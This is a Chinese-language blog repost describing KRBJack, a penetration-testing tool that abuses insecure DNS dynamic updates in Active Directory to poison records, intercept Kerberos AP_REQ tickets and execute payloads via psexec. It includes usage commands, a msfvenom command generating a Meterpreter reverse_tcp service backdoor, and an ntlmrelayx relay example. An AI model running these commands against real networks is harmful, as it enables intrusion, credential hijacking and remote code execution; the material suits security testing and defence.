此工具可用于滥用ZONE_UPDATE_UNSECURE
Active Directory 中 DNS 主域区域上的危险标志。设置此标志后,任何未经身份验证的人都可以匿名更新、添加和删除 DNS 记录。在参与过程中很常见,因为需要让一些 DHCP 服务器与非基于 Windows 的系统一起工作,以让它们更新自己的记录。尽管这个标志极其危险,但我从未见过任何工具可以缓解它的利用。我想要构建的是一种基于此危险标志执行中间人的方法,获取凭据并将其直接用于自己的系统或整个 Active Directory 服务(尽管可以一起使用多个工具来执行 ntlm 中继例如)。
使用这种中间人技术的好处是它会通过路由器,因为“官方”DNS 记录会被毒害。如果设置了正确的路由(并且没有防火墙规则阻止),则另一个广播域上的某人可能会成为攻击目标(与仅对您的广播域起作用的 ARP 中毒不同)。
此外,我选择执行功能齐全的 AP_REQ 劫持,以允许使用 kerberos 而不是 NetNTLM 来破坏系统。
![图片[1]-KRBJack劫持工具,滥用 DNS 不安全更新-IT熊技术站](https://www.cutrui.cn/wp-content/uploads/2023/08/image-76.png)
安装
sudo python -m pip install krbjack
您确实需要以 root 权限安装该工具,因为它需要由 root 运行才能侦听特权端口。或者,您也可以享受虚拟环境的乐趣。或者,您可以下载此存储库并用于poetry
安装它。
用法
sudo krbjack --target-name <targetNBTName> [--target-ip <targetIP>] --domain <domainName> --dc-ip <domainControlerIpAddress> --ports <port1,port2,port3,...> --executable <executable.exe>
--target-name
:你的目标的netbios名称,你要模仿的那个,如果成功的话,你想要的那个将被pwn。示例:winserv2
;
--target-ip
:您可能想要指定目标的 IP 地址。另一种方法是让该工具查询 DNS 以获取其 IP 地址。执行快速简单扫描以从 DNS 返回的 IP 中选择一个 IP,尽管此方法存在缺陷。示例:192.168.42.20
;
--domain
:您的目标加入的域名。示例:windomain.local
;
--dc-ip
:您将污染 DNS 记录的域控制器的 IP 地址。可以是任何域控制器,因为 DNS 区域将自动复制。示例:192.168.42.10
;
--ports
:TCP 端口的可选列表,将在攻击者的计算机上打开以将流量转发到您的目标。该列表非常重要,因为如果您忽略合法服务(您的目标)上打开的一个端口,客户端将无法在攻击期间访问它。正确设置此端口列表是执行攻击而又不会造成网络混乱的关键。例子 :135,139,445,80,443,8080
--executable <executable.exe>
:攻击者计算机上可执行文件的可选路径。如果攻击成功,此可执行文件将被上传并在您的目标上以 psexec 方式执行。示例:/home/almandin/metx64revtcp.exe
.您提供的可执行文件可以是“标准”可执行文件,也可以是 Windows 服务可执行文件(更好)。如果它是一个“标准”可执行文件,Windows 将在几秒钟后运行时杀死它(如果它尚未结束),因为当它作为服务运行时,Windows 期望它执行正确的信号发送(表现为真正的服务)。尽管它仍然有效,但您可能希望在会话建立后快速迁移您的 meterpreter。如果您使用 Windows 服务可执行文件,那么就可以了,这里无需添加任何内容。您可以使用 msfvenom 生成此类可执行文件,exe-service
格式如下:
msfvenom -f exe-service -o backdoor.exe -p windows/x64/meterpreter/reverse_tcp LHOST=X LPORT=Y
附加标志:
--check
:用于根本不执行任何攻击,只是检查 DNS 区域是否容易受到攻击。--no-poison
:可用于解决所有混乱问题,但防止 DNS 中毒。以防万一您自己设法毒害了 DNS,或者您找到了另一种方法将客户端指向您而不是合法的服务。
替代用例
您可以使用 krbjack 仅毒害 dns 记录,也可以与 ntlmrelayx 结合使用。如果不指定任何可执行文件,则不会执行远程代码,只会执行dns中毒。您可以使用此功能并指定要转发的端口,以捕获目标与尝试通过 DNS 名称访问它的任何系统之间的流量。
如果不提供任何端口,则不会执行 tcp 转发。这使得能够将 ntlmrelayx 与不安全的 dns 更新滥用一起使用。示例:krbjack --target-name winserv --domain windomain.local --dc-ip 10.0.0.1
. 这将启动 dns 中毒。同时您可以启动 ntlmrelayx :ntlmrelayx.py -t 10.0.0.42 -smb2support
来尝试向 10.0.0.42 机器执行代码。请注意,如果没有启用任何 tcp 转发,则会执行完全拒绝服务…
要使其发挥作用需要什么要求?
首先,您需要检查您正在测试的域是否容易受到主要错误配置的影响:ZONE_UPDATE_UNSECURE
。--check
为此,您可以使用 PingCastle 等外部工具,或者让 Krbjack 通过在命令行上添加标志来完成此操作。
目前,该工具仅适用于不需要 SMB 签名的系统。这是当前的限制,因为目前所利用的服务是 SMB。这意味着大多数时候您无法定位域控制器,因为它们长期以来一直默认要求 SMB 签名。
使用此工具有哪些风险?
就像任何其他中间人攻击一样,您将收到来自任何客户端的连接,请求访问目标的任何服务。这意味着如果目标系统使用率很高,它可能会占用 CPU 资源。
此外,该工具还对完全连接的 TCP 流执行实时数据包检查。客户端会在重定向到合法服务之前连接到您。由于 Kerberos 的工作原理,它将阻止某些特定连接正常运行,因为服务票证将代表客户端使用,从而产生“消耗”效果(kerberos 票证无法重播)。这意味着该工具将使网络连接对于每个带有有趣的 AP_REQ 的新连接(AP_REQ 用于到我们目标的 SMB 服务)变得有点不可靠。但是,白名单已到位,以防止完全阻止连接。如果一个客户端来了多次,只有第一个AP_REQ会被劫持。要么成功了,你就达到了目标,否则,该客户端将被添加到白名单中,以防止其再次被检查并被多次阻止。此外,由于正确的转发“la”ssh 端口转发,其他服务仍将得到服务并正常工作,尽管由于攻击者计算机上的网络数据包处理可能会导致滞后和延迟。
它是如何运作的?
首先,通过更改附加到目标的 DNS 记录来安排中间人。它滥用 DNS 错误配置来表示"hey, now myLegitService is now at <attacker's IP>"
。这样,每个试图获得合法服务的人现在都会联系您。DNS 记录还会通过定期检查是否已设置回正确的记录来保持中毒状态(服务器或计算机可能已重新启动,或在执行攻击时更新了记录)。
同时,该工具启动多线程 TCP 服务器来模仿您的目标 TCP 服务。它开始提供 SMB、HTTP 以及您在命令行中指定的任何服务。它的作用就像 SSH 端口转发一样:当您到达攻击者启动的服务时,krbjack 会在同一端口上启动与真正合法服务的连接,并将每个数据包从合法客户端转发到合法服务。这样,双向都执行了完整的中间人,这可以防止流量被完全阻塞。
当执行中间人时,将检查每个数据包以查找 kerberos AP_REQ 数据包(包含对服务进行身份验证所需的内容)或其他身份验证数据包。当发现这样的数据包/票证是从客户端发送时,它会被实时用来代表连接到合法服务合法客户的。这样 krbjack 就可以对合法服务执行经过身份验证的操作。目前仅支持 SMB,这意味着 krbjack 在攻击工作流程的此时执行经过身份验证的 SMB 操作。然后,它使用此经过身份验证的通道来检查合法客户端是否是管理员(尝试列出目录 ADMIN$ – C:\Windows)。如果碰巧客户端是管理员,则中间人会停止,DNS 记录会被修复,然后它会使用完全相同的经过身份验证的通道来执行完整的 psexec。
Krbjack 还会根据协议动态修改数据包,以便在可能的情况下删除安全标志(SMB 标志“需要签名”、“支持”等……尽管目前还很幼稚)。
项目地址:
KRBJack:【GitHub地址】
暂无评论内容